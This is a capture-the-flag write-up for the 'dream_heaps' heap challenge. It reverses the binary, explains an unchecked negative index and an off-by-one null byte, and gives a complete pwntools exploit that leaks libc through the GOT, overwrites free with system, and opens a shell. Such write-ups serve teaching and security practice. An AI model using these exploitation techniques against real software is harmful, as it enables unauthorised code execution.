Dream Heap

This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.

$ file dream_heaps dream_heaps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9968ee0656a4b24cb6bf5ebc1f8f37d4ddd0078d, not stripped $ pwn checksec dream_heaps [*] '/Hackery/swamp/dream/dream_heaps' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $ ./dream_heaps Online dream catcher! Write dreams down and come back to them later! What would you like to do? 1: Write dream 2: Read dream 3: Edit dream 4: Delete dream 5: Quit >

So we are given a libc file libc6.so, and a 64 bit elf with no PIE or RELRO. The elf allows us to make dreams, read dreams, edit dreams, and delete dreams.

Reversing

When we look at the main function in ghidra, we see that it is essentially just a menu for the four different options:

void main(void) { long in_FS_OFFSET; undefined4 menuOption; undefined8 canary; canary = *(undefined8 *)(in_FS_OFFSET + 0x28); menuOption = 0; puts("Online dream catcher! Write dreams down and come back to them later!\n"); puts("What would you like to do?"); puts("1: Write dream"); puts("2: Read dream"); puts("3: Edit dream"); puts("4: Delete dream"); printf("5: Quit\n> "); __isoc99_scanf(&DAT_00400b60,&menuOption); switch(menuOption) { default: puts("Not an option!\n"); break; case 1: new_dream(); break; case 2: read_dream(); break; case 3: edit_dream(); break; case 4: delete_dream(); break; case 5: /* WARNING: Subroutine does not return */ exit(0); }

When we look at the Ghidra pseudocode for the new_dream function which allows us to write new dreams, we see this:

void new_dream(void) { long lVar1; void *dreamPtr; long in_FS_OFFSET; int dreamLen; long canary; lVar1 = *(long *)(in_FS_OFFSET + 0x28); dreamLen = 0; puts("How long is your dream?"); __isoc99_scanf(&DAT_00400b60,&dreamLen); dreamPtr = malloc((long)dreamLen); puts("What are the contents of this dream?"); read(0,dreamPtr,(long)dreamLen); *(void **)(HEAP_PTRS + (long)INDEX * 8) = dreamPtr; *(int *)(SIZES + (long)INDEX * 4) = dreamLen; INDEX = INDEX + 1; if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); return; }

So for making a new dream, it first prompts us for a size. It then mallocs a space of memory equal to the size we gave it. It then let's us scan in as many bytes as we specified with the size. It then will save the heap pointer and the size of the space in the HEAP_PTRS and SIZES bss arrays at the addresses 0x6020a0 and 0x6020e0 (double click on the pointers in the assembly to see where they map to the bss). The index in the array will be equal to the value of INDEX which is a bss integer stored at 0x60208c. After this it will increment the value of INDEX. Next up we have the read function:

void read_dream(void) { long lVar1; long in_FS_OFFSET; int index; long canary; lVar1 = *(long *)(in_FS_OFFSET + 0x28); puts("Which dream would you like to read?"); index = 0; __isoc99_scanf(&DAT_00400b60,&index); if (INDEX < index) { puts("Hmm you skipped a few nights..."); else { printf("%s",*(undefined8 *)(HEAP_PTRS + (long)index * 8)); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); return; }

Here we can see that it prompts us for an index to HEAP_PTRS, and first checks that it is not larger than INDEX to prevent us from reading something past it. It will then grab a pointer from HEAP_PTRS from the desired index, and print it. However there is a bug here. While it checks to make sure that we gave it an index smaller than or equal to INDEX, it doesn't check to see if we gave it an index smaller than one. This bug will allow us to read something from memory before the start of the HEAP_PTRS array in the bss. In addition to that since INDEX is incremented after it adds a new value, it will be equal to the next dream that is allocated. Since it just checks to make sure our index isn't greater than INDEX we can go past one spot for the end of the pointers in HEAP_PTRS. Next up we have the edit_dream function:

void edit_dream(void) { long lVar1; long in_FS_OFFSET; int index; long canary; void *ptr; int size; lVar1 = *(long *)(in_FS_OFFSET + 0x28); puts("Which dream would you like to change?"); index = 0; __isoc99_scanf(&DAT_00400b60,&index); if (INDEX < index) { puts("You haven\'t had this dream yet..."); else { ptr = *(void **)(HEAP_PTRS + (long)index * 8); size = *(int *)(SIZES + (long)index * 4); read(0,ptr,(long)size); *(undefined *)((long)ptr + (long)size) = 0; if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); return; }

So here it prompts us for an index, and has the same vulnerable index check from read_dream. If the index check passes it will take the pointer stored in HEAP_PTRS and the integer stored in SIZES at the index you specified and allow you to write that many bytes to the pointer. After that it will null terminate the buffer by setting ptr + size equal to 0x0. However since arrays are zero index, it should be ptr + (size - 1) and thus it gives us a single null byte overflow. The last function we'll look at closely is the delete_dream function:

void delete_dream(void) { long lVar1; long in_FS_OFFSET; int index; long canary; lVar1 = *(long *)(in_FS_OFFSET + 0x28); puts("Which dream would you like to delete?"); index = 0; __isoc99_scanf(&DAT_00400b60,&index); if (INDEX < index) { puts("Nope, you can\'t delete the future."); else { free(*(void **)(HEAP_PTRS + (long)index * 8)); *(undefined8 *)(HEAP_PTRS + (long)index * 8) = 0; if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); return; }

So just like the read_dream and edit_dream functions, it prompts us for an index and runs a vulnerable check on it. If it passes, it will free the pointer in HEAP_PTRS stored at that index and set it equal to 0 (so no use after free here). However it leaves the corresponding value in SIZES behind.

Exploitation

So we have an index check bug with the read, edit, and free function. On top of that we have a single null byte overflow. We can use the index check bug in the read function to get a libc infoleak. After that we can use the index check bug with the edit function to get that got table overwrite. The intended solution was to use the single null byte overflow to cause heap consolidation, however this seems a bit easier.

For the libc infoleak, we will need a pointer to a pointer to a libc address. This is because with the dreams are stored in a 2D array. Luckily for us since there is no PIE we can just read an address from the got table (which is a table mapping various functions to their libc addresses). However first we will need an address to the got table, which we can find using gdb:

gef➤ p puts $1 = {int (const char *)} 0x7ffff7a649c0 <_IO_puts> gef➤ search-pattern 0x7ffff7a649c0 [+] Searching '0x7ffff7a649c0' in memory [+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x602000-0x603000), permission=rw- 0x602020 - 0x602038 → "\xc0\x49\xa6\xf7\xff\x7f[...]" gef➤ search-pattern 0x602020 [+] Searching '0x602020' in memory [+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x400000-0x401000), permission=r-x 0x400538 - 0x400539 → "`"

Here we can see that the address 0x400538 will work for us. To leak the address we just need to read the dream at offset -263021. This is because HEAP_PTRS starts at 0x6020a0 and 0x6020a0 - 0x400538 = 0x201b68 and 0x201b68 / 8 = 263021.

Now for the got overwrite, we can use a couple of things to exploit that. Firstly if we make enough dreams, they will overflow into the sizes. This is because there isn't a check for this, and SIZES starts at 0x602080 and HEAP_PTRS starts at 0x6020a0. The difference between the two is 0x40 bytes, and since pointers are 0x8 bytes it will just be 8 pointers before we start overflowing them. In addition to that since ints are 4 bytes, the two will overlap nicely and end up being written behind the pointers. When we try making a lot of different dreams, we see that we can end up writing a pointer than can be reached by the edit_dream function:

gef➤ x/30g 0x6020a0 0x6020a0 <HEAP_PTRS>: 0x00000000013ea020 0x00000000013ea040 0x6020b0 <HEAP_PTRS+16>: 0x00000000013ea070 0x00000000013ea0b0 0x6020c0 <HEAP_PTRS+32>: 0x00000000013ea100 0x00000000013ea160 0x6020d0 <HEAP_PTRS+48>: 0x00000000013ea1d0 0x00000000013ea250 0x6020e0 <SIZES>: 0x00000000013ea2e0 0x00000000013ea380 0x6020f0 <SIZES+16>: 0x00000000013ea430 0x00000000013ea4f0 0x602100: 0x00000000013ea5c0 0x00000000013ea6a0 0x602110: 0x00000000013ea790 0x00000011013ea890 0x602120: 0x0000003300000022 0x0000005500000044 0x602130: 0x0000007700000066 0x0000009900000088 0x602140: 0x000000bb000000aa 0x000000dd000000cc 0x602150: 0x00000000013eaac0 0x00000000013eab50 0x602160: 0x00000000013eac00 0x00000000013eacc0 0x602170: 0x00000000013ead90 0x00000000013eae70 0x602180: 0x0000000000000000 0x0000000000000000

The pointers are addresses like 0x13eaac0, and the sizes are the integers like 0x99 and 0x88. At 0x602128 (which would be at index 17) we can see would be a nice place to write a pointer with the sizes. This is not only because we control it with sizes, but when we edit a dream it will also grab a size from the SIZES array that we will need to be at least 0x8. If we choose index 17, it will grab the integer from 0x602124 which we also control it with the sizes. So by choosing the offset 17 to edit, by making dreams with certain sizes we can control both the address that is written to and the size.

Also for the function that we will be overwriting the got address of will be free at 0x601fb0. This is because it won't cause any real issues for us, and to get a shell we will just have to free a dream with the contents /bin/sh:

$ objdump -R dream_heaps | grep free 0000000000602018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5

Code

Putting it all together into our exploit, we get this. Also since our exploit relies on calling code from libc, it is dependent on which libc version you're using. If you're libc version is different then the one in the exploit, just swap out the file (check memory mappings in gdb to see which one you're using if this exploit doesn't work):

from pwn import * target = process('./dream_heaps') libc = ELF('libc-2.27.so') # If you have a different libc file, run it here gdb.attach(target) puts = 0x662f0 system = 0x3f630 offset = system - puts def write(contents, size): print target.recvuntil('> ') target.sendline('1') print target.recvuntil('dream?') target.sendline(str(size)) print target.recvuntil('dream?') target.send(contents) def read(index): print target.recvuntil('> ') target.sendline('2') print target.recvuntil('read?') target.sendline(str(index)) leak = target.recvuntil("What") leak = leak.replace("What", "") leak = leak.replace("\x0a", "") leak = leak + "\x00"*(8 - len(leak)) leak = u64(leak) log.info("Leak is: " + hex(leak)) return leak def edit(index, contents): print target.recvuntil('> ') target.sendline('3') print target.recvuntil('change?') target.sendline(str(index)) target.send(contents[:6]) def delete(index): print target.recvuntil('> ') target.sendline('4') print target.recvuntil('delete?') target.sendline(str(index)) # Get the libc infoleak via absuing index bug puts = read(-263021) libcBase = puts - libc.symbols['puts'] # Setup got table overwrite via an overflow write('/bin/sh\x00', 0x10) write('0'*10, 0x20) write('0'*10, 0x30) write('0'*10, 0x40) write('0'*10, 0x50) write('0'*10, 0x60) write('0'*10, 0x70) write('0'*10, 0x80) write('0'*10, 0x90) write('0'*10, 0xa0) write('0'*10, 0xb0) write('0'*10, 0xc0) write('0'*10, 0xd0) write('0'*10, 0xe0) write('0'*10, 0xf0) write('0'*10, 0x11) write('0'*10, 0x22) write('0'*10, 0x18) write('0'*10, 0x602018) write('0'*10, 00) # Write libc address of system to got free address edit(17, p64(libcBase + libc.symbols['system'])) # Free dream that points to `/bin/sh` to get a shell delete(0) target.interactive()

when we run it:

$ python exploit.py [+] Starting local process './dream_heaps': pid 9062 [*] '/Hackery/pod/modules/index/swampctf19_dreamheaps/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] running in new terminal: /usr/bin/gdb -q "./dream_heaps" 9062 -x "/tmp/pwnjqPcIc.gdb" [+] Waiting for debugger: Done Online dream catcher! Write dreams down and come back to them later! . . . Which dream would you like to delete? [*] Switching to interactive mode $ w 22:17:41 up 1:47, 1 user, load average: 0.39, 0.45, 0.31 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guyinatu :0 :0 20:31 ?xdm? 3:50 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu $ ls core dream_heaps exploit.py libc-2.27.so readme.md

Just like that, we captured the flag!